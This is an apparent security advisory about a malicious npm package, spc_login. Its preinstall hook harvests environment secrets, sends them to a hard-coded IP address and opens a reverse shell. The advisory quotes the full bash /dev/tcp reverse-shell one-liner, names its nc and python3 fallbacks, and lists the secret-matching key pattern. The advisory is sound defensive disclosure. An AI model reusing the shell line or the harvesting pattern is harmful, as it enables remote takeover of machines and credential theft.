MAL-2026-15622
Malicious code in spc_login (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (e9a20e34373650f3fda40b9ea351c7ccb15ae98292cd159863cb26c0c33ff8c1) package.json declares a preinstall hook ("node preinstall.js || true") that runs unconditionally on npm install. preinstall.js filters process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API|GITHUB|NPM|DOCKER|DB|MONGO|REDIS|POSTGRES|MYSQL, bundles them with hostname, username, working directory, and CI context, base64-encodes the payload, and sends it via curl over plain HTTP to http://216.126.236.46/r.php. On non-Windows hosts the same script also executes a reverse-shell one-liner (bash -i >& /dev/tcp/216.126.236.46/4444 0>&1, with nc -e and python3 socket fallbacks), giving the operator of that endpoint interactive shell access to the installing machine. The package has no legitimate functionality; the only effect of installing it is credential harvest and remote code execution against the installer.
Are you affected?
Enter the version of the package you're using.
Affected packages
No fixed version published yet for spc_login (npm). Pin to a known-safe version or switch to an alternative.